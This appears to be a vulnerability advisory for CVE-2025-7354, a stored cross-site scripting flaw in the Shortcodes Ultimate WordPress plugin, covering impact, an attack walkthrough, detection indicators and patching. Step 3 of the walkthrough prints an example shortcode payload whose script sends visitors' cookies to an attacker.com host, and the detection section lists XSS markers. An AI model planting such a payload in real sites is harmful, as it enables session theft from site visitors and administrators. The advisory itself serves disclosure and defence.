CVE-2025-7354: 
WordPress vulnerability analysis and mitigation

CVE-2025-7354 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Shortcodes Plugin — Shortcodes Ultimate WordPress plugin, affecting all versions up to and including 7.4.2. The flaw stems from insufficient input sanitization and output escaping on user-supplied shortcode attributes, allowing authenticated attackers with contributor-level access or higher to inject persistent malicious scripts into pages. It was published on July 21, 2025, and assigned a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). Multiple shortcode handler files within the plugin fail to properly sanitize or escape user-supplied attributes before rendering them in HTML output, including members.php (line 79), button.php (line 408), expand.php (line 130), user.php (line 95), and post.php (line 116). An authenticated attacker with at least contributor privileges can craft a page or post containing a malicious shortcode attribute; the injected script is then stored server-side and executes in the browser of any visitor who loads the affected page (ENISA EUVD, WordPress Trac).

Successful exploitation allows an attacker to persistently inject arbitrary JavaScript into WordPress pages, which executes in the context of any user — including administrators — who visits the compromised page. This can lead to session cookie theft, credential harvesting, unauthorized administrative actions (such as privilege escalation or backdoor installation), and defacement of site content. The changed scope in the CVSS vector reflects that the impact extends beyond the attacker's own session to affect other users' browsers (Wordfence, ENISA EUVD).

No public exploit code or active in-the-wild exploitation has been reported as of the disclosure date. The EPSS score is approximately 0.036% (0.000360), indicating a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires an authenticated account with at least contributor-level access, which limits opportunistic mass exploitation but remains a realistic threat in multi-author WordPress environments (Wordfence, ENISA EUVD).

1. Reconnaissance: Identify WordPress sites running the Shortcodes Ultimate plugin at version 7.4.2 or earlier using tools like WPScan or by inspecting page source for plugin-specific shortcode patterns.
2. Obtain contributor access: Register or compromise an account with at least contributor-level privileges on the target WordPress site.
3. Craft malicious shortcode: Create or edit a post/page and insert a vulnerable shortcode (e.g., [su_button], [su_members], [su_expand], [su_user], or [su_post]) with a malicious JavaScript payload embedded in an unsanitized attribute, such as: [su_button url="javascript:void(0)" class=""><script>document.location='https://attacker.com/steal?c='+document.cookie</script>[/su_button].
4. Publish content: Submit the post/page for review or publish it directly (depending on role permissions).
5. Trigger execution: When an administrator or other user visits the injected page, the stored script executes in their browser, enabling session hijacking, credential theft, or further site compromise (Wordfence, WordPress Trac).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints from contributor-level accounts containing encoded script tags or JavaScript event handlers within shortcode parameters.
• File System: Unexpected modifications to plugin shortcode files (members.php, button.php, expand.php, user.php, post.php) in the Shortcodes Ultimate plugin directory.
• Database: WordPress wp_posts table entries containing <script>, javascript:, onerror=, onload=, or similar XSS payloads within post content authored by low-privilege accounts.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting pages containing Shortcodes Ultimate shortcodes, potentially indicating cookie or credential exfiltration.

The vendor released a patch in changeset 3328729 addressing the insufficient sanitization across the affected shortcode files. Users should update the WP Shortcodes Plugin — Shortcodes Ultimate to version 7.4.3 or later as soon as possible (WordPress Trac). As an interim workaround, site administrators should restrict contributor-level access to trusted users only, and consider disabling the plugin until the update can be applied. Enabling a Web Application Firewall (WAF) with XSS filtering rules (e.g., Wordfence) can provide additional protection (Wordfence).

Wordfence disclosed the vulnerability as part of its weekly WordPress vulnerability report covering July 14–20, 2025, and Sucuri included it in its July 2025 WordPress vulnerability patch roundup (Wordfence Blog, Sucuri Blog). The vulnerability was also catalogued by ENISA's European Vulnerability Database (EUVD-2025-22051) and tracked by Red Hat's CVE database, reflecting standard industry coverage for a medium-severity WordPress plugin flaw with no notable controversy or widespread alarm.